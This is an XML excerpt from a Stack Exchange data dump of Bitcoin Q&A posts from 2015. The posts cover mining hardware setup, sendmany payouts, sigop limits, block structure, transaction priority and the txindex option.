generate the new chain of hash functions which has to be used to generate a digest with certain criteria (leading zeros) for the next block but nobody could calculate the subsequently hash chains and nobody could implement static hash chain circuits but has to use FPGAs which have to be reprogrammed every block and have to be able to host every possible hash chain constellation. If the hash chains are complex enough it might even lead to a decrease in FPGA efficiency which would favour general computing hardware and reinstate the &quot;one-CPU-one-vote&quot; principle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you think of this approach? Why might it be flawed?&lt;/p&gt;&#xA;" OwnerUserId="3213" LastEditorUserId="2306" LastEditDate="2016-03-09T17:04:04.623" LastActivityDate="2017-07-19T15:30:50.483" Title="Is it possible to make PoW ASIC-resistant through dynamically generated hash chains?" Tags="|mining-hardware|proof-of-work|" AnswerCount="4" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35682" PostTypeId="1" CreationDate="2015-01-22T18:47:23.120" Score="2" ViewCount="6860" Body="&lt;p&gt;I am new to bitcoin mining, but pretty good with technology as a whole.  As a Father/Son project, I recently purchased a couple of USB LiteCoin Scrypt miners (I bought them here: &lt;a href=&quot;http://www.aliexpress.com/item/free-shipping-hot-selling-litecoin-USB-miner-220kH-s-scrypt-miner-Litcoin-miner-send-out-in/2019121334.html&quot; rel=&quot;nofollow&quot;&gt;http://www.aliexpress.com/item/free-shipping-hot-selling-litecoin-USB-miner-220kH-s-scrypt-miner-Litcoin-miner-send-out-in/2019121334.html&lt;/a&gt; ).  These have some drivers on them - they came with the Miner and are Windows based (or so they seem) - but I am strictly a Mac / Pi user. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I need some help in determining how to connect these Miners to a Pi or a Mac.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me?&#xA;Many thanks in advance.....&lt;/p&gt;&#xA;" OwnerUserId="23048" LastEditorUserId="2306" LastEditDate="2016-03-14T15:31:29.213" LastActivityDate="2016-05-21T07:31:07.477" Title="I'd like to connect an LKETC USB Scypt Miner to my Raspberry Pi. Help?" Tags="|mining-hardware|bfgminer|raspberry-pi|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35683" PostTypeId="1" CreationDate="2015-01-22T18:51:50.753" Score="1" ViewCount="60" Body="&lt;p&gt;I need to simulate an attack locally or in testnet (if possible) for academic purpose, on an old and bugged version of the bitcoin core client. I am in posses of test BTC in the last version. I want to know an easy way to exploit one this listed vulnerabilities(&lt;a href=&quot;https://en.bitcoin.it/wiki/Common_Vulnerabilities_and_Exposures&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Common_Vulnerabilities_and_Exposures&lt;/a&gt;), if this has been done before or if im speaking nonsense. &lt;/p&gt;&#xA;" OwnerUserId="23049" LastEditorUserId="23049" LastEditDate="2015-01-22T22:29:37.803" LastActivityDate="2015-01-22T22:29:37.803" Title="Is it possible to run a simple attack on a previous version of the client in testnet mode?" Tags="|testnet|attack|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35684" PostTypeId="2" ParentId="35682" CreationDate="2015-01-22T20:18:52.777" Score="1" Body="&lt;p&gt;I think these might be rebranded ZeusMiner ASICs - LKETC doesn't appear to sell any scrypt miners below the 1MH/s range. Also, some of the reviews on that item say that they've had luck on linux with a fork of cgminer with ZeusMiner support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two drivers you need. You need a driver for the USB-to-UART bridge, and a driver for the ASIC. The former is distributed with Raspbian, assuming the bridge is a Silicon Labs CP210x. (I think it is, based on the screenshots on that page.) The latter is usually distributed with your mining program of choice.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Possible fix&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;All instructions are intended for Debian/Ubuntu/Raspbian.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo apt-get install build-essential libtool autotools-dev autoconf git&#xA;$ git clone https://github.com/dmaxl/cgminer/ &amp;amp;&amp;amp; cd cgminer&#xA;$ ./autogen.sh&#xA;$ ./configure --enable-scrypt --enable-zeus&#xA;$ make&#xA;$ ./cgminer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Troubleshooting (if that doesn't work)&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;When you plug it in, it should create the device /dev/ttyUSB1, and a device under /media or /mnt. You're interested in the first one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get a list of devices that are plugged in with &lt;code&gt;lsusb&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-01-22T20:18:52.777" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35686" PostTypeId="1" AcceptedAnswerId="49684" CreationDate="2015-01-23T03:33:55.000" Score="23" ViewCount="27672" Body="&lt;p&gt;I have 20+ addresses I need to payout to. How can I send to all of these addresses without having to do it one at a time and paying a fee for each? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which desktop and mobile wallet supports this type of feature? &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2016-11-25T16:51:08.187" Title="How do you send to multiple addresses by paying a one time fee? Which wallet supports this?" Tags="|address|sending|pool-payout-methods|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35687" PostTypeId="2" ParentId="35686" CreationDate="2015-01-23T03:48:01.347" Score="7" Body="&lt;p&gt;Transactions have a list of inputs and a list of outputs. Many transactions just have two outputs, one that pays to the receiver of the funds, and one that sends the leftovers (&quot;change&quot;) back to the sender of the funds. Since this is the most common transaction type, this is what most bitcoin interfaces are designed for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that said, there are a few tools that making sending to many addresses easy. The reference implementation, &lt;a href=&quot;https://github.com/bitcoin/bitcoin&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Core&lt;/a&gt;, has support in the GUI to let you send to many addresses. When you are in the &quot;send&quot; tab, just click &quot;Add Recipient&quot; until you have enough outputs for your desired transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitcoin core client also has support for sending to many addresses in the same transaction through the use of the &lt;code&gt;sendmany&lt;/code&gt; JSON-RPC command, which may be more useful for doing automated payouts to multiple addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To try this command out, open up Bitcoin-Qt, and go to:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Help &gt; Debug Window &gt; Console&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From there, do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sendmany &quot;&quot; '{&quot;address2&quot;:0.1, &quot;address2&quot;:0.2}'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Be careful that you don't list the same address twice, or you will get this error: &#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/34057/error-trying-to-send-payments-with-rpc-sendmany&quot;&gt;Error trying to send payments with RPC sendmany&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe Armory (&lt;a href=&quot;https://bitcoinarmory.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcoinarmory.com/&lt;/a&gt;) also has support for sending to multiple addresses, but would appreciate it if someone could add a comment to confirm.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2015-01-23T14:57:45.753" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35688" PostTypeId="1" CreationDate="2015-01-23T03:48:57.327" Score="2" ViewCount="53" Body="&lt;p&gt;Is there a service or upcoming feature which lets you send Bitcoins to an address over a duration of time? I can write a script myself to send 1mbtc every day to an address and leave it running on my computer/server. But I was wondering if there was a service that does this already? Or can smart contracts do this, if so which one? &lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="5406" LastEditDate="2015-05-08T09:36:02.057" LastActivityDate="2015-05-08T09:36:02.057" Title="Ability to Send Bitcoins to an Address over a duration of time" Tags="|sending|recurring-payments|smartcontracts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35689" PostTypeId="2" ParentId="35688" CreationDate="2015-01-23T03:58:41.100" Score="1" Body="&lt;p&gt;Seems like you're looking for an automated billing solution, or something along those lines. There may be others, but I know Coinbase has support for this. This is a screen shot from their online interface:&lt;/p&gt;&#xA;&#xA;&lt;hr/&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1wh09.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr/&gt;&#xA;&#xA;&lt;p&gt;If it was a recurring payment in small amounts, you might also consider &lt;a href=&quot;https://bitcoin.org/en/developer-guide#micropayment-channel&quot; rel=&quot;nofollow noreferrer&quot;&gt;Micropayment Channels&lt;/a&gt;, so that the feels were not prohibitive. For larger, monthly or yearly transactions, though, the fees paid to the miners may not be as noticeable. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-01-23T03:58:41.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35690" PostTypeId="2" ParentId="35686" CreationDate="2015-01-23T04:35:15.637" Score="13" Body="&lt;p&gt;With the Bitcoin Core client, you can create a transaction sending coins to several addresses.  On the &quot;Send&quot; tab, there is an &quot;Add Recipient&quot; button at the bottom of the screen; click it as many times as needed to add a form for each recipient.  Enter all the addresses and the corresponding amounts to be sent, and you will get a single transaction sending everything you request.  (It will appear as multiple entries on the Recent Transactions pane or the Transactions tab, but inspection will show they all have the same transaction ID.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that transaction fees are generally on a per-kilobyte basis, not per-transaction, so a large transaction with 20 outputs will incur a higher fee.  It should still be less than sending 20 transactions, however.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2015-01-23T05:04:18.443" LastActivityDate="2015-01-23T05:04:18.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35691" PostTypeId="1" AcceptedAnswerId="35695" CreationDate="2015-01-23T07:00:21.937" Score="5" ViewCount="483" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/gavinandresen&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gavin Andresen&lt;/a&gt;, one of the core developers, has discussed &lt;a href=&quot;http://gavintech.blogspot.com/2015/01/twenty-megabytes-testing-results.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;increasing the block size to 16.7 MB&lt;/a&gt; (and doubling that every two years).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The maximum number of signature operations per block is &lt;a href=&quot;https://bitcoin.stackexchange.com/a/20725&quot;&gt;currently set to 20000&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[...] About the scriptSig being an arbitrary byte array, there is one caveat: the checksig operations in it are counted towards the block sigop limit (20000), so you probably don't want to accidentally trigger this. Making it a list of just push operations (including of the extranonce) avoids that.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A back-of-the-envelope calculation tells me that there will be around 100K signature operations in a 16.7 MB block. Will the maximum number of signature operations per block also need to change?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2016-04-09T07:40:42.077" Title="If block sizes go up, won't sigop limits have to change too?" Tags="|signature|mining-technical-details|block-size-increase|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35692" PostTypeId="2" ParentId="35691" CreationDate="2015-01-23T08:17:55.010" Score="1" Body="&lt;p&gt;Yes, to make &quot;megablocks&quot; viable for anything besides block chain data storage, the sigops limit would need to be changed.  Simply increasing it would be the easiest option, but I suspect at least some developers would prefer to change how the sigop limit is calculated instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ECDSA signature-checking operations (sigops) are relatively time-consuming on moderns CPUs, so the goal of the sigop check is to make it easy to reject blocks (valid or not) that could otherwise take a significant amount of time to verify.  The sigop check is implemented naïvely: it simply looks for the OP_CHECKSIG and OP_CHECKMULTISIG op codes in transactions and calculates the number of sigops that will be required should that code be executed.  The aggregate number of sigops is calculated for the block containing the transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may have noticed the problem: for scripts like &lt;a href=&quot;https://bitcoin.org/en/developer-guide#term-p2pkh&quot; rel=&quot;nofollow&quot;&gt;P2PKH&lt;/a&gt;, OP_CHECKSIG can appear in one block as a pubkey script but the actual time-consuming signature checking operation takes place when the signature script is evaluated in another block.  In other words, it's possible to create a valid block today that requires performing more than 20,000 signature-checking operations but which has a sigops count of 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we have to hard fork in megablocks, I think it possible that the opportunity will be taken to also change the sigops calculation formula---or to replace it with something different.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-01-23T08:17:55.010" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35695" PostTypeId="2" ParentId="35691" CreationDate="2015-01-23T14:51:50.077" Score="3" Body="&lt;p&gt;Yes, the maximum number of signature operations per block also need to change. It may change dynamically with the block size limit. The code currently assumes a ratio of MAX_BLOCK_SIZE to MAX_BLOCK_SIGOPS:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.10.0rc3/src/main.h#L59-L60&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/v0.10.0rc3/src/main.h#L59-L60&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** The maximum allowed number of signature check operations in a block (network rule) */&#xA;static const unsigned int MAX_BLOCK_SIGOPS = MAX_BLOCK_SIZE/50;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If this ratio were kept constant, then when the max block size was increased, the max signature operations would increase to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;16.7 MB / 50 = 335,544 sig ops&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="2306" LastEditDate="2015-01-24T01:40:04.330" LastActivityDate="2015-01-24T01:40:04.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35697" PostTypeId="1" AcceptedAnswerId="35698" CreationDate="2015-01-23T16:14:08.620" Score="2" ViewCount="484" Body="&lt;p&gt;I am reading &quot;Mastering Bitcoin written by Andreas&quot; and I found this explanation of mining.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Transactions are added to the new block, prioritized by the&#xA;  highest-fee transactions first and a few other criteria.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Source: [&lt;a href=&quot;http://chimera.labs.oreilly.com/books/1234000001802/ch02.html#_mining_transactions_in_blocks&quot; rel=&quot;nofollow&quot;&gt;Mastering Bitcoins: Mining Transactions in Blocks&lt;/a&gt;]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I want to know what the a few other criteria are. And I want to see the source code where the system prioritizes by highest-fee transactions first and a few other criteria.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess that the code is in &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/miner.cpp&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;miner.cpp&lt;/code&gt;&lt;/a&gt;. But I don't understand the exact line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/miner.cpp&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/src/miner.cpp&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19338" LastEditorUserId="5406" LastEditDate="2016-04-10T09:51:59.553" LastActivityDate="2016-04-10T09:51:59.553" Title="What is criteria of mining priority except for transaction-fee?" Tags="|bitcoind|transaction-selection|coin-age-priority|mastering-bitcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35698" PostTypeId="2" ParentId="35697" CreationDate="2015-01-23T16:39:10.623" Score="6" Body="&lt;p&gt;The code you're looking for is in &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.10.0rc3/src/miner.cpp#L91&quot;&gt;&lt;code&gt;CreateNewBlock&lt;/code&gt;&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The usual way transactions are added to a block is by sorting by priority. The priority of an input is the value being spent in the input multiplied by the number of confirmations it has. The priority of a transaction is the sum of all the priorities of the inputs. See &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.10.0rc3/src/miner.cpp#L197&quot;&gt;this line&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dPriority += (double)nValueIn * nConf;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Transactions are added to a &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.10.0rc3/src/miner.cpp#L146&quot;&gt;vector of transaction priority&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vector&amp;lt;TxPriority&amp;gt; vecPriority;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then they are &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.10.0rc3/src/miner.cpp#L225-L226&quot;&gt;sorted according to their priority&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TxPriorityCompare comparer(fSortedByFee);&#xA;std::make_heap(vecPriority.begin(), vecPriority.end(), comparer);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And one by one, &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.10.0rc3/src/miner.cpp#L228-L286&quot;&gt;transactions are verified to be valid and then added to the block&lt;/a&gt;, done by order of priority, higher priority first.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while (!vecPriority.empty())&#xA;...&#xA;// Added&#xA;pblock-&amp;gt;vtx.push_back(tx);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-01-23T16:39:10.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35699" PostTypeId="1" AcceptedAnswerId="35700" CreationDate="2015-01-23T19:24:48.017" Score="5" ViewCount="1359" Body="&lt;p&gt;I know bitcoin has a block chain that is from my best representation a list of blocks. I know the block holds many transactions. But i'm still very much lost as to what a block is and how a block can be the function of the transactions at the time prior to the block being solved and how a block can have any number of transactions prior to it being solved and locked in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also lost on the process of &quot;solving&quot; a block. I know it requires computers encrypting the transaction. If a block is multiple transaction would that imply that you have to solve all the transactions to get the block.  &lt;/p&gt;&#xA;" OwnerUserId="20846" LastEditorUserId="5406" LastEditDate="2017-05-21T21:42:34.727" LastActivityDate="2017-05-21T21:42:34.727" Title="What is a block?" Tags="|transactions|blockchain|block|terminology|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35700" PostTypeId="2" ParentId="35699" CreationDate="2015-01-23T21:09:27.207" Score="7" Body="&lt;p&gt;There are a lot of questions on the Bitcoin SE about blocks, but remarkably I couldn't find any that explicitly lay out what a block is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A blocks has two things: A block header and a list of transactions. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Block:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Block Header&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Version Number (4 byte integer)&lt;/li&gt;&#xA;  &lt;li&gt;Previous Block Id (32 byte hash)&lt;/li&gt;&#xA;  &lt;li&gt;Merkle Root (32 byte hash)&lt;/li&gt;&#xA;  &lt;li&gt;Time (4 byte integer)&lt;/li&gt;&#xA;  &lt;li&gt;Difficulty (4 byte integer)&lt;/li&gt;&#xA;  &lt;li&gt;Nonce (4 byte integer)&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;li&gt;List of Transactions&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Number of transactions in List&lt;/li&gt;&#xA;  &lt;li&gt;Tx1&lt;/li&gt;&#xA;  &lt;li&gt;Tx2&lt;/li&gt;&#xA;  &lt;li&gt;...&lt;/li&gt;&#xA;  &lt;li&gt;TxN&lt;/li&gt;&#xA;  &lt;/ul&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In the block header part of the block:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The version number is a parameter to help in updating how blocks are treated by the network. &lt;/li&gt;&#xA;&lt;li&gt;The reference to the hash of the previous block is what makes the group of blocks a &quot;block chain&quot;. &lt;/li&gt;&#xA;&lt;li&gt;The merkle root is hash that can be used to prove that a transaction is in the block without providing all of the details of the block (this is a bit complicated, see &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10479/what-is-the-merkle-root&quot;&gt;this&lt;/a&gt; for more info). &lt;/li&gt;&#xA;&lt;li&gt;The time field is to show the network what time the block was solved at, and to help in calculating the difficulty parameter.&lt;/li&gt;&#xA;&lt;li&gt;The difficulty (or &lt;code&gt;nBits&lt;/code&gt; as it is called in the code) is shorthand for how difficult it is to solve the block. Essentially, it encodes a target value, and the hash of the block (when treated as a 256 bit integer) must be below that target value to be considered solved.&lt;/li&gt;&#xA;&lt;li&gt;The nonce (number used once) is just an integer that miners can change repeatedly to hash the header and get a different result each time, hoping to get a hash that is below the difficulty value encoded by the previous parameter. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The list of transactions is fairly straightforward, it's just the number of transactions and then the transactions themselves concatenated together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take for example the genesis block. The raw bytes are:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt; &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When we break this up, we can see what is in it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;01000000                                                          // Version&#xA;0000000000000000000000000000000000000000000000000000000000000000  // Hash Previous Block&#xA;3ba3edfd7a7b12b27ac72c3e67768f617fc81bc3888a51323a9fb8aa4b1e5e4a  // Merkle Root&#xA;29ab5f49                                                          // Time&#xA;ffff001d                                                          // Difficulty&#xA;1dac2b7c                                                          // Nonce&#xA;01                                                                // Number of Transactions&#xA; Tx1:&#xA; 01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff4d04ffff001d0104455468652054696d65732030332f4a616e2f32303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b73ffffffff0100f2052a01000000434104678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5fac00000000&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you hash the block header of the genesis block, you get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See how it starts with all these zeroes? That's because many many tries were taken (changing the nonce each time) until the miner was lucky enough to find a nonce that makes the block header hash to a low enough value (look at the hash as a hex encoded integer, with the most significant bits on the left, and the least significant on the right).&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2015-01-23T21:09:27.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35702" PostTypeId="1" AcceptedAnswerId="35744" CreationDate="2015-01-24T03:14:05.453" Score="2" ViewCount="636" Body="&lt;p&gt;It seems like there is really no great way to exchange USD for BTC.  Having to trust an exchange with your private keys is undesirable.  I'm wondering if there is a way to utilize the convenience of an online exchange without needing to trust them with your private keys.  So two questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Are there any exchanges which do not require control of the private keys?  I am aware that Coinbase offers a multi-sig vault but I'm talking more about zero control, zilch, nada, private keys on your local device only.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there a problem with the following exchange model?  The exchange manages all the market orders and matches buyers and sellers to transact directly.  The exchange communicates the terms of a transaction to the BTC seller's wallet (like the blockchain wallet) and tells the seller that he has X minutes until the terms are void.  The BTC seller's wallet finalizes the transaction.  The transaction requires the exchanges signature and the seller's signature.  The seller signs the transaction using his private key and forwards it to the exchange.  The BTC buyer sends money to the exchange.  The exchange then signs the transaction and sends it off to the network.  Once the transaction is confirmed in the blockchain Y number of times (to avoid double spending), the exchange forwards along the money to the BTC seller, keeping a commission for himself.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="22807" LastActivityDate="2015-01-29T00:21:21.337" Title="Can an exchange work which does not have control of the private keys?" Tags="|security|exchanges|private-key|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35703" PostTypeId="2" ParentId="32883" CreationDate="2015-01-24T04:29:44.247" Score="1" Body="&lt;p&gt;I found out that it's a simple serial connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Linux or Mac this does work for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;screen /dev/tty.usbserial-XXXXXX 9600.cs8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you can you any other program for serial communication, e.g. minicom&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Serial settings are: &lt;code&gt;9600 8-N-1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or after firmware upgrade baud rate is &lt;code&gt;115200&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="21397" LastEditorUserId="21397" LastEditDate="2015-02-03T21:35:26.867" LastActivityDate="2015-02-03T21:35:26.867" CommentCount="0" CommunityOwnedDate="2015-01-24T04:29:44.247" ContentLicense="CC BY-SA 3.0" />
  <row Id="35706" PostTypeId="1" AcceptedAnswerId="36348" CreationDate="2015-01-24T12:41:39.017" Score="4" ViewCount="1377" Body="&lt;p&gt;From bitcoincharts.com can download historical trade histories for BTC on various exchanges vs various currencies.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I find something comparable for LTC?  I want to get historical trades for LTC vs USD &amp;amp; CNY.  1 year or more would be ideal.&lt;/p&gt;&#xA;" OwnerUserId="23070" LastEditorUserId="2306" LastEditDate="2015-01-24T17:29:42.233" LastActivityDate="2015-03-15T06:10:02.947" Title="Is there a source for historical LTC trades available?" Tags="|litecoin|historical-trade-data|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35707" PostTypeId="1" AcceptedAnswerId="35708" CreationDate="2015-01-24T16:08:40.287" Score="43" ViewCount="33342" Body="&lt;p&gt;I am reading &lt;a href=&quot;http://chimera.labs.oreilly.com/books/1234000001802/ch03.html#_exploring_and_decoding_transactions&quot;&gt;&quot;Mastering Bitcoin&quot; written by Andreas&lt;/a&gt; and I found this explanation about &quot;txindex option&quot;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h3&gt;Transaction Database Index and txindex Option&lt;/h3&gt;&#xA;  &#xA;  &lt;p&gt;By default, Bitcoin Core builds a database containing only the&#xA;  transactions related to the user’s wallet. If you want to be able to&#xA;  access any transaction with commands like gettransaction, you need to&#xA;  configure Bitcoin Core to build a complete transaction index, which&#xA;  can be achieved with the txindex option. Set txindex=1 in the Bitcoin&#xA;  Core configuration file&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am not sure what situations should I enable the option. In my understanding, I can set &lt;code&gt;txindex=0&lt;/code&gt; if I use &lt;code&gt;bitcoind&lt;/code&gt; as just a transmission tool of Bitcoin so that I can save data and time to sync the blockchain data. Otherwise, if I intend to make a blockexplore site like &lt;a href=&quot;https://blockchain.info&quot;&gt;Blockchain.info&lt;/a&gt;, I need to set &lt;code&gt;txindex=1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is my understanding of this correct?&lt;/p&gt;&#xA;" OwnerUserId="19338" LastEditorUserId="5406" LastEditDate="2024-02-29T20:41:36.327" LastActivityDate="2024-02-29T20:41:36.327" Title="What are pros and cons of txindex option?" Tags="|bitcoin.conf|mastering-bitcoin|txindex|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
